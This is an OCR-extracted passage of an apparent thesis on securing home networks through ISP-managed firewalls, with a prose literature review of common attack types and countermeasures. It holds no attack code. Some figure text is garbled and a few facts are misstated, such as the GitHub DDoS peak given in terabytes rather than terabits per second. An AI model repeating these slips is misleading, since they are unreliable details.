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ABSTRACT

This research was conductedin anticipation of the time of the COVID-19 pandemic
when social distancing and lockdown became a new norm. As part of business
continuity measures, employers asked their workforce to work from home, and
there is already a known trend of working remotely. Businesses allow this to
minimise costs and maximise gains. These gains can come at a cost, i.e., huge
amounts of sensitive data move outside the secure enterprise network and across
many devices, often with questionable security arrangements. Typically, remote
employees or staff working from home have a wireless modem at home with ‘zero’
security features. These devices are good for providing internet and network
connectivity but not security, which makes home network users and staff working

remotely from home vulnerable and soft targets.

In this research, itis identified in depth what a typical smart home looks like. What
are the security challenges faced by home users/staff working from home? What
are the security aspects where such usersare challenged? Due to the type of devices
and audience at home, they cannot be left to fight for themselves. This is of specific
and essential importance. There should be new ways of looking at home networks
and ideas to protect home networks that have the same level of security as

enterprises have these days.

Furthermore, this research aimed to establish a model to offer support from Intemet
Service Providers (ISPs) to home network users and that security responsibility be
gradually moved away from the users themselves to their ISPs. The various
technical security responsibilities can be taken away from home users and given to
ISPs. The idea of a managed firewall solution for enterprise networks will be
brought into prospect for home networks. Firewalls have proven to be an efficient
and effective solution to protect enterprise networks, and modern home networks
are also the same but smaller in scale. Some enterprises have acquired managed
firewall solutions from ISPs. Similarly, an ISP-managed firewall will be introduced

in a home network which will work as a gateway to the internet.



This research continued by evaluating three firewall packages available in New
Zealand to see which one provides the most comprehensive security for a home
network user. To achieve the objectives of this study and considering the size of the
home network, shortlist firewall packages that will have the same feature set

available to home network users as those available for enterprise networks.

To test the hypothesis that an ISP managed firewall solution is an effective solution
for protecting the home network. This research evaluated the market solutions that
are available to home network users through ISPs and 3rd party vendors. Test
firewall solutions in the home lab againstthe various attacks thatare security threats
and monitor their results by performing ethical hacking best practices. The data
from multiple sources will be captured and parsed. The data obtained will be
analysed individually to monitor the performance of each firewall and compare it
with other firewall results. The test results in a comparison of the performance of
each product with the manufacturer’s claims and the performance of each firewall
From this study, we will identify the optimum firewall solution available for home
networks through ISPs. From the comparative analysis, judgements will be made
on the value proposition of these firewall packages, which are more suitable for

home network users as a product, and recommendations will be made.

This study aimed to identify the modern-day security threats to ahome network and
how to protect the home network from them? How a home network can be
protected from ever-emerging security threats? Does the knowledge of cyber
security help home network users protect their homes and secure their home
networks? What help ISPs can offer to home network users? Do ISP-managed
firewalls help home network users secure their home network? Determine the role
a firewall can play in ahome network and keep the security threats atbay? Evaluate
multiple vendor firewall packages and each vendor's unique offering which will
protect the home network and secure home network users. Lastly, conclude the
study with the test results obtained, and suggest the future direction in which this
study should progress and explore more options and strategies that can help home

network users and secure home networks.
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CHAPTER 1: INTRODUCTION

1.0 BACKGROUND

Work from home WFH was a relaxation offered by the employer to their workforce to give
them ease to continue work from home without coming in the office and perform office work
by being at home. For this purpose, those employees need internet to connect back to the office
network i.e., those employees working from home will have to connect to the home network,
this network does offer connectivity to the office network, but it does not provide the same
level of security and does not offer the triad of security CIA which makes a home network

secure.

Comes 2020, when COVID-19 started spreading rapidly all over the world and was declared a
pandemic. Countries started enforcing travel bans, mask-wearing outside becomes mandatory
and physical distance becomes the responsibility of the public. When COVID started spreading
in the communities it becomes inevitable to lockdown cities concerning public health. All
cooperate office enforced their employees to remain at home forced them to take mandatory
leaves. But when leaves are over, and employees start returning to work and still the lockdown
continued employers enforce these employees to start working from home and connecting to
VPN Virtual Private Network through the internet using the home network as they still cannot
go out and use public and use public internet facilities and restricted to the home. Suddenly,
WFH becomes a new normal and the home network started serving employees who continued

their job by working from home this time not as a relaxation but out of necessity.

Typically, at home, there are not only corporate employees, but it is a whole full-fledged
network of'its own and it encompasses not only multiple type users but also has multiple types
of devices in it. Again, due to COVID-9 restrictions, a huge number of students suffered as
well, so the education continued throughdistancelearning platforms usingmeeting and desktop
sharing tools as institutes don’t offer to connect back or support remote working to such a huge
number or neither were they prepared for such unseen scenario. Now, students who were
schooled at the designated places like schools, colleges and universities started using home

networks providing internet to get education by connecting tablets, mobile phones, laptops,



desktops, etc. whatever means they have to connect to get education increase the traffic in a

home network.

M N (D) _,D L] A
G — %e

Figure 1-0-1 Typical home network

The home network has now become very important, and it has now designated with power and
as said with great power comes great responsibility. With so much traffic, a large number of
users and so many devicesin a home network, also makes it vulnerable from this point comes

the motivation of this research study topic.

1.1 MotivaTION

As established, the importance of a home network to support work from home, has increased
in the volume of traffic it sends/receives and the type of users a home network has, making it
a point of interest for cyber threats. A typical home network provides connectivity to the
internet, but does it also provide security as well? The answer is ‘NO’, a home network only
offers basic connectivity within a home network and internet accessibility, but it does not
provide security, it does not offer security features that can protect the home network users,
home users are vulnerable can easily be tricked into a grave situation which can cause real grief
to the users be it the employee who are working from home or a student who is getting an

education. A simple click on the malicious link can cause big trouble.

A homenetwork is extremely vulnerable, due to the audienceand the type of devices in it, there
is no defence mechanism in place to protect a home network, the devices hosted, and the users
in it. The other big reason is public are not tech savvy in terms of cyber-security, the public has
very little knowledge of cyber security (Kritzinger, 2013), the public does not know the
methods of how malicious users approach and what methods they do employee to conduct a

cyber-attack, the owner of the home network does know about the threat surface in the home
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network. Cyber security is a very specialised field not everyone has the knowledge and very
few are expertin it. User tricked into cyber exploit doesn’t even know and that scenario last
for an extended period of time, there are situations when home network and its users are not
directly affected but used this network to participate causing cyber-attacks on others without
knowing DDOS attacks are prime examples of it, which are causing the problem to the world
and are a persistent threat to everyone (de Lutiis, 2010). An Insecure home network is a
problem and ultimately it becomes a part of a big problem when it joins to participate with
other networks to cause a cyber-attack, which not just cause trouble to individuals, but
companies, corporates, and governments as well. In this scenario, suffers the overall economy,

and these effects are long-lasting and ripple down to hita common man.

This scenario stresses conducting research to protect the home network, its devices, and its

users to save it from any cyber-thereat and cyber-attack conducted on it.

1.2 RESEARCHAIM

The goal of this research is to work on home network security in order to secure a home
network. Consideringthe aspects ofahome network, the devices connected in a home network,
and the user's participation in it, the user contributes to its security. When users connectto a
home network, they should not be afraid; they should connect with the peace of mind, freely

and without regard for the consequences.

Figure 1-0-2 Securing home with Firewall

To secure a home network, conduct research on how a home network can be secured, whether

home network users seek professional assistance in sorting out security issues, how a home
3



network and its users can follow industry support, and a security measure to protect the home
network. What are the best methods for accomplishing this? Are there any secure security
models in place to accomplish this? In addition, we must investigate security models that can
take on the responsibility of securing home networks while abdicating responsibility from
home network users. Building security features into infrastructure to help home network users
and raise awareness at the grassroots level about cyber-security and cyber-threats. An
integrated approach that removes security responsibility from the home network user and
places itin its own hands, i.e., to assist home network users, has suitable skills and manpower
available. This is only feasible at the ISP level because ISPs provides an internet connection to
home networks and their users, ISPs have infrastructure and personnel, and ISPs have security
professionals and support employees that understand security and can assist home network

users.

1. 3 THESIS STRUCTURE

The research will begin by gaining an understanding of the home network, the home network
user, and the home network devices. Additionally, to understand the security requirements and
propose security models and architecture of the infrastructure to provide security to home
networks against threats. To understand what threats are faced by the home network and its
users a literature review will progress to understand cyber-attacks and the type of cyber-attacks

and malicious users are subject to practice in the real world for exploitation.

The infrastructure proposed during the literature review will be examined further in the study.
This establishes the method for testing the suggested model. This study employs a quantitative
research approach. The proposed concept of using firewalls to secure the home network will
be evaluated. A lab configuration that replicates the home network is necessary. This network
contains a threat actor targeting the home network (internal) and its users from an outside
segment (internet). This lab will be based on ethical hacking principles. testing market firewall
products to determine their efficiency against malicious code. Data from each known cyber-
attack, i.e., malicious code execution from the outside host Kali Linux to the inside host Win7
PC, must be collected. The data will consist of firewall logs, NMAP scans, Wireshark packet
capture files, and impacts on Win7 PCs that will assist us in understanding the function of the
firewall in the home network and the capabilities given by a firewall that can help safeguard

the home network. The lab setting will assist us in understanding the firewall configuration,
4



features, and effectiveness. Italso allows us to evaluate firewall products, their distinct features,
and their efficacy in securing the home network. Enough data will be gathered by capturing
various logs and testing results to answer set research questions, present the findings of the

study, and evaluate the functionality of the firewall to defend a home network.

The discussion will continue by analysing the results, discussing firewall packages'
performance in the lab, the effectiveness of the proposed infrastructure models and
summarizing the overall study with its outcomes and conclusions. Furthermore, identify future

work required to be carried out to direct this study in a forward direction.

The following chapter will begin with an introduction and then reviewthe literature of previous
studies done in this area of research to develop a better understanding of the topic and the
requirements of this research study, which will help us understand the challenges in-depth and

help us answer the research study's questions.



CHAPTER 2

Chapter 2: LITERATURE REVIEW

2.0 INTRODUCTION

Home networks have evolved into new connection centres, allowing users to access a variety
of platforms, services, and gadgets for professional, social, and informational reasons, as well
as domestic tasks. These networks also connect users in a variety of roles, including home
office workers, remote employees, housewives, students, and IoT devices. Home internet
connections are extremely important to these individuals. Smart gadgets abound on home
networks. Smart [oT-based gadgets have swamped houses in this modern era. We have these
devices in every area of our house, each with its own function. The point we entre in our home
through the fence we have a welcoming smart IP based IOT wireless security surveillance
cameras device making secure from our driveways to door locks, doorbells, smart Al-based
device like Alexa and google nest device are just there to assist us and help us in many ways
and to carry our work and life and help them make it simpler, assisted, intuitive and friendly.
The essential and common thing among all these devices is network connectivity, an integrated

environment of all connected devices at home.

In a house where there is a jungle of these linked gadgets, where each item plays its duty
efficiently and successfully, the issue arises: are these devices secure? Is the network
connectivity between these devices secure? How safe is the internet through which they
connect to our world or their servers? Wi-Fi is used to connect the gadget. How safe and
dependable is it? At-home users of these gadgets are aware of the cyber security dangers.
Because of a lack of information about cyber awareness and safeguarding themselves, end-
users are recognised as a risk to themselves and others (S. Furnell et al., 2008). Home users are

most vulnerable to cyber-attacks (S. M. Furnell et al., 2007).

The technology has grown at a very rapid pace in the last couple of decadesand its adaption
has also matched its pace. The public is only aware of the benefits but hardly realise the
adversities of such technology due to “The sorry state of information security awareness for
the public at large is an even bigger problem than the relative lack of security awareness in

enterprises”(Kritzinger & von Solms, 2010). In general, “...users are ultimately responsible
6



for their own systems and may often lack the knowledge or inclination to take steps to protect
themselves” (S. M. Furnell etal., 2007).

In an age of pandemic where everyone is restricted to their homes due to various lockdown
situations, people are forced to stay at home in their bubbles, restricting their movements as
much as possible. People are forced to change their current lifestyles and adapt to a new
lifestyle because the government imposes such restrictions on them. Work From Home, also
known as WFH, has become a new norm in order to restrict the travel of employees living in
various parts of the city or suburbs from their home to their workplace, and employees can
remain in their bubble without being exposed to parts of the city. Usually, employees carry out
work from their corporate offices or from designated work areas where the office network is
available. Office corporate networks are trusted networks as they are sophisticated, well-
planned, scalable, and secure networks and they also enable their employeesto connect back
to the corporate office using VPN clients. This VPN provides a connection back to the
corporate office and its data and resources. But the network connectivity of the internet
connection to the home is secure in itself and is connected to the internet through a modem.
ISP-provided internet modems have hardly any security mechanisms in place to protect the
home network. Home computers with access to the Internet are one of the weaker links as they
are typically not as well protected as computers in the corporate world (Ghernaouti, 2017).
This unprotected/unsecured network not only poses threats (risks) to the remote workforce but

also poses threats (threats) to the corporate office as well.

There is not just a remote workforce of corporate employees who are working and operating
from home; there are other categories of users connected to home networks who have
traditionally operated like students or small business owners who have a home office. These
categories of users do not have protected devices like corporate devices, i.e., laptops, phones,
and tablets, which are given to the remote workforce to operate and have very limited
administrative rights to make changes. Only white-listed software can be downloaded and
executed on those machines, but in this category of users, users own the devices and have all
the administrative rights to make changes and administrate them. They can download any
software from anywhere and make any changes to their devices, which makes them most
vulnerable. "... the majority of home users are likely to be vulnerable targets unless safeguards

are automatically provided for them." (S. M. Furnell et al., 2007). These users do not



understand cyber security, nor do they have professionals helping to protect their network and
their devices. Home users are on their own " (Kritzinger, 2013). They are prime vulnerabilities,
and attacks are known as "soft targets." A simple email message can make their devices
vulnerable. It's unrealistic to expect home users to be responsible for their own security. They
don't have the expertise, and they're not going to learn" (Kritzinger, 2013), as that’s not the
main field or line of business. Cyber security is a very technical and specific field in the IT
industry. The general public has a very basic awareness of it, but when attacks are conducted,
they are not basic in nature. Even experts need trained eyes to judge it. "As more individuals
worldwide gain Internet access through mobile phones, cybercriminals will have millions of
inexperiencedusers to dupe with unsophisticated or well-worn scamming techniques that more
savvy users grow wise to (or fall victim to) "(Thornton-Trump, 2018). Due to a lack of
knowledge and awareness of cyber security standards, there are no set standards and policies
by which home users are governed. The systems are not patched, the passwords are weak and
easy to guess, you visit harmful sites, click on any link received in an email, and the list goes
on with the liberty to use personal devices without restriction. As a result, if one device gets
compromised in the network, there is a good chance that the entire network will get

compromised as malicious users need an entry point into the network.

There is another category of devices that have now become very popular in a home network;
theseare IoT devices. These IoT devices comein a variety of shapes and sizes and can be found
anywhere from our driveways to our walls, over the chest board, in our living rooms, and in
our bedrooms. They offer variety and offer a huge range of services. These [oT devices offer
value-added services through automation. A person leaving the house can schedule its tasks to
start at a certain time and instructions can be given to the device through the internet from
outside of the home to these devices, which reaches these devices' home connectivity to the
internet, hence making life easy and removing manual labour tasks, which are time-consuming
and have inherited delays. These [oT devices are very good at their designed objectives and are
always up to the assigned tasks, but the question arises: are they secure as well, considering
their design limitations? Their security is most dependent on the connected network. As
mentioned previously, any loophole in such systems can cost dearly. Most of the time, it ends
up in ahuge financial loss. Thatdepends on the individuals in terms of their risk appetite, which

leads us to think that individuals in this situation can consider the challenge at hand when



service is disrupted. Such incidents are not one-time events. They have happened in the past

and will also occur in the future.

Further in this chapter, we will discuss the artefacts of a home network in its entirety, deep dive
into the home network and discuss the connectivity, what various devices are commonly used
at home, their dedication to the tasks with their objectives means through which they
communicate with the home network, the communication protocols of these devices, their
inherited features of security in those protocols, and flaws in the protocols of these devices. We
will also discuss potential attacks on home networks and their impact on the home network.
We will also discuss how to identify threat agents and threat vectors in a home network. We
will also discuss vulnerabilities, how to analyse those vulnerabilities and methods to identify
them. It will also be discussed what best practices home users should adoptto protect their
home network. What standard should be followed? What approach should be taken to protect
the home network? What are the minimum criteria and standards that home users can follow
to protect their home network? The discussion on all artefacts will be summed-up and the

industry's suggestions will be included to conclude this chapter.

2.1 SECURITY MODELS

A home network security system typically employs three working models or progresses
through three architectural security designs. This model is known as the "security vs.
responsibility model™ or "architecture.” In this security vs. responsibility model, there are three
main network designs available. This can be a balance of cyber security responsibilities
between the home users and the service provider, or it can be a model where home users can
have more responsibility for their home network security than the internet service provider,
and in the last model, home users have fewer security responsibilities associated with their
home network, while the internet service provider carries more weight in securing it. The idea
behind these three main approaches is to seek some technical assistance from the Internet
service provider for home users due to a lack of knowledge in the cyber-security space
(Kritzinger, 2013). These three model/architectures are also referred to as "thick,"

"intermediate," and "thin."



Home user responsibility decreases
as ISP responsibility increases

>

Security-oriented home user
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L
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Figure 2-1 Home security vs responsibility

These security models have their own in-built pros and cons, as there is nothing like one model
that will provide absolute security to a home network and its users. Home users will always
have to share the security and responsibility space with the internet service provider to improve

the security posture of the home network.

2.1.1 HOME NETWORK BASED ON THICK SECURITY MODEL

This is the most frequent, extensively used, and generally available market model. Most home
users are not tech-savvy; they just have a functional understanding of devices, programmes,
and networks. They are not fully aware of their home network's security or have second -hand
knowledge of'it, but if they are aware of built-in security features such as firewalls and anti-
malware protection, they can defend themselves from any potential security dangers. Home
Internetusers are particularly unprepared to secure their computers (Pijpker & Vranken, 2017).
Home PCs with Internet access are one of the weaker links, as they are often not as adequately
secured (Ghernaouti, 2017). Thick security-oriented home networks are home network
architectures in which users are responsible for controlling the security of their home network.
Previously, we have discussed that such models are weak in protecting home networks and the
problems to which home users are likely to be exposed, in terms of security defined as risks

arc:
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e The passwords tend to be weak

e The systems are not downloaded with the latest security patches/updates
e Unaware of Software licenses have lapsed

e OQOutdated anti-virus packages

¢ Inadequate security protection and privacy settings

e Device security settings not correctly configured or on default mode

e Lack of information security-related awareness.

e They are notaware of the latest security-related risks

4 a

Anti-vims

Anfi-spoofing

Parental guidance

\ Firewall /

Figure 2-2 Thick security home user

With a thick security model, as users are solely responsible for managing their home network
and its security, there is no external aid available to seek or enforce standards to protect against
or establish a cyber defence. This leads the home user to educate themselves about cyber
security and to be more cyber-aware to build a defence against any cyber incident, but their
knowledge and understanding can only let them do so much, which eventually is not enough.

Cyber incidents are not exclusive to home network users or the WFH workforce; they are a
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threat to the whole IT industry and a phenomenon known globally as "the escalation of cyber
incidents" due to a computer that was not protected. Poor computer security by individuals
creates a national security problem. " (Hupp, 2014). Another reason why governments should
also consider home network security very seriously is that it is now apparent that thick security
models are risky and are a threat not only to home users but the whole IT industry in general.
An insecure home network can serve as ground zero for any cyber incident affecting critical
infrastructure. A full-fledged situation could have strategic ramifications for any country. It has
now become inevitable to address the conventional thick security model and seek some

assistance for home users to ensure home network security.

2.1.2 HOME NETWORK BASED ON INTERMEDIATE SECURITY MODEL

In this model, home network security is a shared responsibility between the home user and a
third party, which in this scenario isan ISP providinginternetconnectivity to home users. Why
would you use an ISP as a third party? Because every home network that needs internet should
connect to some sort of ISP. ISPs are responsible for providing internet access, and they also
provide technical support for it. In the intermediate security model, ISPs will get directly
involved with the security of home networks as "ISPs are in an optimal location to identify
malicious incoming and outgoing Internet traffic and 1SPs have the knowledge and capabilities
to react” (Kritzinger, 2013).

Parent guidance
Firewall

ISP

Notification

Malware identification

Spoofing

Figure 2-3 Intermediate security home user
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ISPs, as the name implies, provide internet access, have technical support staff who have
knowledge and understanding of cyber security or a better understanding of cyber security,
also have a better understanding of home networks or any network in general, and will be in a
better position to suggest and advise home users on home network security (S. Furnell et al.,
2008).

In this intermediate security model, home network security is shared, where ISPs will place
agreed controls to manage the internet and provide on-ramp security to home users by
protecting their home networks from malware and by containing and notifying users of cyber

incidents that have taken place.

Currently, in the NZ market, an intermediate model, i.e., a shared responsibility model, is in
place with the product called "Netshield". There are 2 versions available: basic and premium.
The basic version blocks harmful content and permits searching safely, and the second version,
which is a premium version, blocks harmful content, allows searching safely, sets content
restrictions, time of day control, blocks specific websites and internetuse as well. Through this,
ISPs also create awareness among theirusers about cyber security and how to detectand protect
againstit. Home network users will be more aware of cyber security threats and ISPs controls
will help them with some threats at the awaken which otherwise will have to be dealt with by

home users by themselves.

An intermediate security model is not an answer to all information security -related issues, nor
is it a complete model to deal with all cyber threats. There is also another step forward in the
same direction, a third security model that creates more awarenessand provides a more robust
defense against cyber threats. This step moves further in the direction of delegating more
responsibilities to ISPs, making ISPs more responsible for lookingafter home network security.
This means that home network users will have limited responsibility towards their home

network security. Hence, we call it the "thin security model."

2.1.3 HOME NETWORK BASED ON THIN SECURITY MODEL

A thin security model is another shared responsibility model, but in this model, the majority of
the home network's security responsibilities are taken away from the home users. Those
responsibilities (security) are taken over by ISPs and become their resp onsibility. Home users

will still have some responsibilities and have some small level of cybersecurity -related
13



challenges to overcome, but in this model, home users will have ISPs' help available, which
can help them sort outsuch challenges in the form o ftech support. ISPs will protecthome users
from any cyber threats. As in this model, protecting home network users from any cyber threats
falls under the ISPs' responsibility area. To make it happen, ISPs will enforce a number of
agreed policies, protection mechanisms, and industry best practices to ensure the safety of

home network security (Kritzinger, 2013).

These security mechanisms can be devised at both ends at customer home commonly known
as edge and these solutions can be devices at the ISPs side which are commonly known as on-

ramp security the examples of such services can be offered are as:
e Authentication, authorization, and Accounting
e Spam Protection
e Updated to anti-virus
e Advanced malware protection / Threat Grid
e Vulnerabilities patch management
e DDOS protection
e Secure DNS
e Content filtering/ URL filtering
e IDS/IPS
e Monitoring and reporting
e Firewall and Traffic shaping
e Web search filtering

The thin security model in which users have shared but limited security responsibility of home

network, illustration given in the diagram as:
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Figure 2-4 Thin security home user

In the thin security model, home networkusers will have access to technical support from ISPs.
ISPs will remediate most home network security issues that arise fromthe edge, i.e., from the
home network side, which serves as a ground zero for any attack and suppresses it from
spreading. They will also protect against any possible threats that appear from the outside of
the home network, i.e., from the service provider side of the network, and leverage users from
technical responsibilities. As a result, home users cannot entirely abdicate responsibility for
home network security; rather, home users and workers who work from home must continue
to acquire up-to-date information security and cyber threat knowledge. ISPs can set up a portal
or email distribution groups to which they can send notifications and emails with the most
recent updates, assisting home users in developing information security awareness and
informing their customers about the most recent cyber risks. Such a site might also be made
available to the general public in order to increase their cyber security awareness. As a result,
ISPs can market their offerings under this model to the community, which will have a greater
impact, because once the general public is more aware of cyber security risks, they will act to

mitigate risk, and it will be easier for most home users to delegate such responsibilities to 1SPs.
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Through this model, ISPs can establish a delivery platform through which ISPs can procure the
best security products and avail the best services being offered by the security companies and
provide them to home network users, which otherwise a common home network will not be
able to get. It is possible only through economy of scale. ISPs can manage uniformity of
security solutions by providingthe same level of servicesto allhome networks, through regular
patching, and through pushing regular software updates, which is a very effective way of
managing security, because each home user must manage security separately and has to go

through every single step manually.

2.2 POTENTIALSECURITY THREATS

Cybercriminals have their own vision and mission to embark on their own digital
transformation journey. Computers, Internetof Things (IoT) devices, and cloud initiatives have
provided them with more and new ways to penetrate networks through an exponentially
increasing attack surface. Modern technologies like machine learning (ML) and artificial
intelligence (AI) have enabled these miscreants with new tools through which they can
distribute malware, aim for high-end targets, and get access to larger and more diverse
audiences. As technology progresses, miscreants are becoming progressively more evasive,

sophisticated, and stealthy.

Cybercriminals are smart, inventive, and vicious, and they have an abundance of resources at
their disposal. Their methods have evolved dramatically over time, and even before a target

notices any occurrence, they have already fled with all of their vital information.

In the beginning, breaking into computers and networks was just for fun and was very popular
among tech-savvy users. These tech-savvy users desired to show off their skills to each other
and wanted to show the supremacy of their skills over one another. However, as time
progressed, these technologically proficient people grew financially motivated and broke into
computers and networks, evolving their attacks into more complex ones that subsequently
became security dangers to all IT infrastructure. A handful of the major security risks are

described in the following sections of this chapter.
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2.2.1 DOS ATTACK

A DOS attack, or denial-of-service attack, as the name suggests, denies the service request,

which means services hosted on this server become unavailable to users. Like any other server

that hosts a service, this server is flooded with more requests than it can handle, i.e., too many

requests are sent to this server that this server cannot handle, and thus offering service to users

is denied. These flooded queries are illegitimate and programmed specifically to flood the said

server, consume all of its resources, and cause a crash.

Bot DNS Reso

i
i

NS Resolver

VEer

S5 Resolver

N5 Resolver

Figure 2-5 DOS Attack

Target
Victim

There is another type of DOS attack, in this type of attack, the malicious actors use the

weaknesses of an application or programme to break into the system, i.e., they make use of the

vulnerabilities of that system. As a result, the system crashes and services are disrupted.
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2.2.2 DDOS ATTACK

DDOS stands for Distributed Denial-of-Service. As the name suggests, it is a distributed DOS
attack thatis employed by malicious users to disrupt service. The word "distributed" suggests
that there are multiple actors or botnets, i.e., sources are used to flood the target for service
disruption. Usually, these kinds of attacks are conducted to damage the brand's reputation and
trigger financial losses by preventing legitimate users from accessing the service. These
malicious users control botnets from a single source called botmasters. They exploit
vulnerabilities in the system and install these botnets, a form of malware thatis often a virus
or trojan virus (Saxena et al.,2020a). When a substantial number of trojan viruses are available
at various locations to conduct the attack, the botmaster sends the instruction to these botnets
to start, and the botnets start sending an enormous amount of traffic, which chokes the
system/network and makes it unable to perform the designated tasks. A distributed denial-of-
service (DDoS) attack occurred in 2018 against the popular online code management system
GitHub. GitHub was hit by an onslaught of traffic, which at its peak came in at a rate of 1.3
terabytes per second, sending packets at a rate of 126.9 million per second. The attack wasn’t
just massive, it was record-breaking. In this attack, the botmasters flooded Memcached servers
with spoofed requests, which gave them the ability to amplify their attack by 50,000x (Saxena
et al., 2020).

2.2.3 MAN-IN-THE-MIDDLE ATTACK

A Man-in-the-middle attack (MITM) is a technological way of eavesdropping. In this attack, a
malicious user forces him to act as a relay or proxy in-between communication sessions
between the two parties or systems, impersonates both source and destination, and has access
to session information or two systems that were trying to send and receive fromeach other. In
a man-in-the-middle attack, the malicious user gains access to sensitive information since it is
sitting in between the sender and receiver. It can also manipulate the data or important
information or can destroythe data in transitbetween the senderand receiver. Itcan also extract
sensitive data, which can cause harm if leaked (Mallik et al., 2019). With the arrival of strong
encryption mechanisms like HTTPS, even if a man-in-the-middle attack is conducted, the
intruders won’t understand unless they know the key to decryptit. We can completely evade

this threat, as in recent times we have seen the "supply chain attack” of SolarWinds, where

18



malicious users took the software distribution server responsible for patching/upgrading

servers and were compromised.
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Figure 2-6 Man in the middle attack

2.2.4 NETWORK SNIFFING ATTACK

s akin to wiretapping when someone would listen in on your phone calls seeking critical
information. In the same way, that packet sniffers work in the background and are hardwired
or connected via Wi-Fi to the network, packet sniffers grab a copy of each packet being sent or
received on the network. Packet sniffers give access to unencrypted sensitive information in
networks like emails, passwords, source and destination, and clear text messages. This can also
be avoided by using encryption, but sniffers can see what encryption is being used, and if
malicious users obtain a key, they can decrypt the encrypted data. There are not only bad uses
of packet sniffers but there are also good uses for network professionals who use such tools to
troubleshoot network-related issues. For example, the use of "Wireshark" is very popular

among network professionals.
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Original Connection

Figure 2-7 Packet Sniffer

2.2.5 SQL INJECTION

SQL injections are based on SQL queries (language commonly used in Databases) injections,
which means these queries are injected through the input data in the forms resulting in
extracting data from it. SQL injection manipulation can extract sensitive information from the
database, it can modify database entries, run administrative queries used for operational and
management purposes of the database, it can recover the data from the fields of a given table
presentin the DBMS file system and, in some scenarios the commands can be given to the

operating system. (Jang, 2020)

Much of the websites on the internet has a front end that is connected to databases at the back

for data storage, SQL injections are very commondue to inherited vulnerabilities in the DBMS.

ELECTY zame, Sesczcipticn PFROM prodscte WEERE e tegory
TALGe T CEEITEE REIIOTT s v s mae e IR -———

CLLLALLE

2, BB enarnarees -

Figure 2-8 SQL injection
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2.2.6 PHISHING ATTACK

Phishing attacks are associated with impersonation (a source that pretends to be someone
known to the target, and in reality, it is not that but a malicious actor). The most common
method is through an email, which malicious actors will produce by using factors known to the
target, usually a link thatresembles something known or commonly used by the target or asking
the targetto act immediately by luring the targetinto a psychological state where they will click
on the given link. Once the target clicks on the link, it will take the target to the malicious user
domain (a fake domain) and ask the target to enter the private data. A copy of that private data
is kept, which results in a compromise. Such attacks are commonlyused to conductbank fraud,
gain access to email credits, gain access to personal communication, and ID theft, which is a

common use of phishing attacks.
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Figure 2-9 Phishing attack

2.2.7 RANSOMWARE

In ransomware attacks, a malicious user infects the targeted host, encrypts target data, which
in some cases can be an important file or entire computer, and holds the target hostage until the

hostages pay a ransom in exchange for a key to decrypt the host or file (Hull etal., 2019).

Modern-day ransomware incidents show that malicious users have been threatening the targets
to release or sell the information, potentially increasing the prospective damage causedby such

attacks by orders of scale. Once the target has been determined, malicious users can install
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malware on the target system using remote systems or any vulnerability in the system. Once
infected, the host transforms into modern-day ransomware that has the ability to move along
the network and infect any hosts that are connected or online on that network. In recent days,
it has come under observation that an increase in such attacks as holding individuals,
enterprises, the health sector, and governments hostage, demanding ransom while remaining
anonymous, which hasbecomepossiblewith the rise of blockchain-based cryptocurrenciesand

has emerged as one of the greatest risks in information security history.
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Figure 2-10 Ransomware Attack

2.2.8 SOCIAL ENGINEERING

Social engineering is relevant to psychological phenomena where an ill-intentioned person
gains the trust of a victim or the victim himself, trusts the other person, and starts giving away
private information. This information could be very sensitive in nature. As a social engineer,
you are dependent on human error rather than relying on system vulnerabilities as the mistakes
made by users are less predictable and tough to identify (Mouton et al., 2016). Social
engineering attacks come in various shapes and forms wherever human interactions happen.
Malicious users try to get the background information, try to talk through the initial point of
entry, figure out the weak security protocols, and proceed further to get sensitive information
or gain access to critical systems. Through social engineering, impersonation has become very
common these days, where a person has all knowledge about the target and gives a call to the

target's bank over the phone. Usually, banks perform verification based on information already

22



known to the malicious user, or the malicious user tricks the operator into a situation and gives

away the desired outcomes.

2.2.9 10T ATTACKS

IoT attacks are very easy to conduct as there are lots of vulnerabilities by design in loT-based
systems. The reason is that [oT devices are created to perform specific functions with minimal
resources and have very small form factors. Malicious users can exploit these vulnerabilities
as there is no security mechanism available to protect [oT devices and can easily gain control
over these devices. They can also manipulate these [oT devices to work for them or conduct
attacks on the target by installing botnets (Abdul-Ghani et al., 2018). Malicious users, such as
surveillance cameras, can also gain access to private and sensitive information about the target
for which these IOTs are being built. Once malicious users have gained access to the [oT, they

can move around the network and gain control of or use other devices at their leisure.

wvs

l Attack

T § =

-~
C'Onl,ul / -~ 10T Devices ™\ 1 ‘(‘ “‘
Ty @ \ = ‘= ='
\ i g s s
D o
‘;_‘g'é‘o N e o A;%”o'
l I i 1 Attack —

& ol

User

Figure 2-11 IOT attack

2.2.10 ZERO-DAYEXPLOIT

A zero-day exploitis basically a vulnerability; it is a weakness in a system or a network that
malicious users take advantage of immediately after it is available for public use — the term
"zero" here refers to the same-day in which vulnerabilities are taken advantage of. A zero-day
attack occurs when the vulnerabilities are exploited (Ibor, 2018). It is determined by the

vulnerability in the system how an attack would be conducted, but zero-day attacks have a
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pattern. First, the malicious user goes through the code to look for vulnerabilities. Once the
vulnerability is figured out in the system, malicious code is produced that will exploit this
vulnerability, infiltrating the system and infecting it with the malicious code, then beginning

exploitation.

2.3 THE COUNTERMEASURE

In the last few sections, the common types of attacks were discussed. Furthermore, in the
sections, we will discuss countermeasures. There are a number of security mechanisms and
theirapplicability to home networks: firewalls, IDS, AMP, and other solutions such as Network
Access Control (NAC), anti-SPIT systems, and secure DNS. These solutions can be easily
managed by ISPs working to support home users. ISPs can also use a remote management
centre. Itis a challenge for an ISP to remote into all kinds of devicesin the home. It is common
practice to use a home gateway as a point of entry in the home network, through which all
devicesbecome accessible in thismodel. Securingthe gateway means securingthe whole home
network.

2.3.1 ENDPOINT PROTECTION

Endpoint protection refers to security practices used for securing data and workflows of
individual devices that are connected to a network. Endpoint protection (EPP) works by
analyzingfiles as they make their way into the network. Nowadays, EPPs connect to the on-
ramp power of cloud infrastructure, releasing endpoints from an ever-growing database and a
growing schema of threats without storing all information locally (Sonali etal., 2019). Data in

the cloud will allow ease of access with greater speed and scalability.

An EPP has centralized management that is positioned on a network gateway or on a server. It
enables the cybersecurity team to provide support remotely and manage the security control of
a device. The client software is installed on each endpoint—it can be a SaaS and remotely
managed, or it can be installed on the device directly. Once the endpoint has been updated,
updates can be pushed to the endpoints when necessary, allowing log-in authentication from
each device and managing policies from a single location. Through application control, EPPs
secure endpoints and block applications that are malicious or unauthorized. Through

unauthorized encryption, it prevents data loss. EPP solutions have two options to pick from;
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they can be on-prem or they can be on-ramp cloud-based solutions. The cloud-based solution

is more viable as it is more scalable and can be easily integrated with the existing architecture.

